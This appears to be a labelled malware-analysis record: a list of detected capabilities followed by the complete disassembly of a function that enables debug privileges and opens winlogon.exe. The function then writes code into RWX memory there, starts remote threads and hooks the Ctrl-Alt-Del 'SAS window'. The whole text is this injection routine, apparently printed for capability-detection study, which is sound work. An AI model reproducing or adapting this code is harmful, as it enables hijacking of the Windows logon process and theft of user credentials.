Function at 0x10001490
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10009b40
push 0x10002458
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff34
push ebx
push esi
push edi
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xd4], 0
push 1
push str.SeDebugPrivilege
call section..text
test eax, eax
jne 0x10001509
xor eax, eax
jmp 0x10001be1
push str.user32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jne 0x1000152a
xor eax, eax
jmp 0x10001be1
mov eax, dword [str.winlogon.exe]
push eax
call fcn.10001310
mov dword [0x1000c854], eax
cmp dword [0x1000c854], 0xffffffff
jne 0x1000154a
xor eax, eax
jmp 0x10001be1
mov ecx, dword [0x1000c854]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x10001574
xor eax, eax
jmp 0x10001be1
mov dword [ebp - 4], 0
mov edx, dword [str.SAS_Window_class]
mov dword [ebp - 0x94], edx
mov eax, dword [0x100082bc]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x100082c0]
mov dword [ebp - 0x8c], ecx
mov edx, dword [0x100082c4]
mov dword [ebp - 0x88], edx
mov al, byte [0x100082c8]
mov byte [ebp - 0x84], al
mov ecx, dword [str.SAS_window]
mov dword [ebp - 0x62], ecx
mov edx, dword [0x100082b0]
mov dword [ebp - 0x5e], edx
mov ax, word [0x100082b4]
mov word [ebp - 0x5a], ax
mov cl, byte [0x100082b6]
mov byte [ebp - 0x58], cl
push 0x100082a0
mov edx, dword [ebp - 0xb0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x10001600
jmp 0x10001aed
mov dword [ebp - 0xbc], 0x7c
push 0x40
push 0x1000
mov eax, dword [ebp - 0xbc]
push eax
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000c850], eax
cmp dword [0x1000c850], 0
jne 0x1000163a
jmp 0x10001aed
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0xbc]
push eax
lea ecx, [ebp - 0xa0]
push ecx
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001675
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xbc]
je 0x1000167a
jmp 0x10001aed
mov edx, 0x10001480
sub edx, 0x10001460
mov dword [ebp - 0xbc], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0xbc]
push eax
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x100016bc
jmp 0x10001aed
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0xbc]
push eax
push 0x10001460
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100016f5
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xbc]
je 0x100016fa
jmp 0x10001aed
lea ecx, [ebp - 0xcc]
push ecx
push 0
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 0xb8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jne 0x10001736
jmp 0x10001aed
push 0xffffffffffffffff
mov edx, dword [ebp - 0xc4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0xc0], 0
jne 0x10001767
jmp 0x10001aed
push 0x8000
push 0
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [0x1000c850]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0xb8], 0
mov dword [0x1000c850], 0
mov eax, 0x100013d0
sub eax, 0x10001370
mov dword [ebp - 0xbc], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0xbc]
push ecx
push 0
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000c84c], eax
cmp dword [0x1000c84c], 0
jne 0x100017f1
jmp 0x10001aed
lea eax, [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
push 0x10001370
mov edx, dword [0x1000c84c]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000182a
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xbc]
je 0x1000182f
jmp 0x10001aed
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10001851
mov dword [ebp - 0xd8], str.SetWindowLongW
jmp 0x1000185b
mov dword [ebp - 0xd8], str.SetWindowLongA
mov eax, dword [ebp - 0xd8]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0x20], 0
je 0x10001887
mov dword [ebp - 0xdc], str.CallWindowProcW
jmp 0x10001891
mov dword [ebp - 0xdc], str.CallWindowProcA
mov edx, dword [ebp - 0xdc]
push edx
mov eax, dword [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x1000c84c]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xc0]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0xa0], 0
je 0x100018cf
cmp dword [ebp - 0x9c], 0
jne 0x100018d4
jmp 0x10001aed
mov dword [ebp - 0xbc], 0x7c
push 0x40
push 0x1000
mov eax, dword [ebp - 0xbc]
push eax
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000c850], eax
cmp dword [0x1000c850], 0
jne 0x1000190e
jmp 0x10001aed
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0xbc]
push eax
lea ecx, [ebp - 0xa0]
push ecx
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001949
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xbc]
je 0x1000194e
jmp 0x10001aed
mov dword [ebp - 0x1c], 0x10001370
mov edx, 0x100013d0
sub edx, 0x10001370
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xbc]
sub eax, 3
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xa4], 0
jmp 0x10001999
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xb4]
sub edx, 1
mov dword [ebp - 0xb4], edx
cmp dword [ebp - 0xb4], 0
jle 0x10001a06
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x12345678
jne 0x10001a01
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x10001370
mov dword [ebp - 0xc8], ecx
lea edx, [ebp - 0xd4]
push edx
push 4
push 0x1000c850
mov eax, dword [0x1000c84c]
add eax, dword [ebp - 0xc8]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100019f0
cmp dword [ebp - 0xd4], 4
je 0x100019f5
jmp 0x10001aed
mov dword [ebp - 0xa4], 1
jmp 0x10001a06
jmp 0x10001981
cmp dword [ebp - 0xa4], 0
jne 0x10001a14
jmp 0x10001aed
mov edx, 0x10001410
sub edx, 0x100013e0
mov dword [ebp - 0xbc], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0xbc]
push eax
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x10001a56
jmp 0x10001aed
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0xbc]
push eax
push 0x100013e0
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001a8f
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xbc]
je 0x10001a91
jmp 0x10001aed
lea ecx, [ebp - 0xcc]
push ecx
push 0
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jne 0x10001aca
jmp 0x10001aed
push 0xffffffffffffffff
mov edx, dword [ebp - 0xc4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 4], 0xffffffff
call fcn.10001afe
jmp 0x10001bc2
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call section..text
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret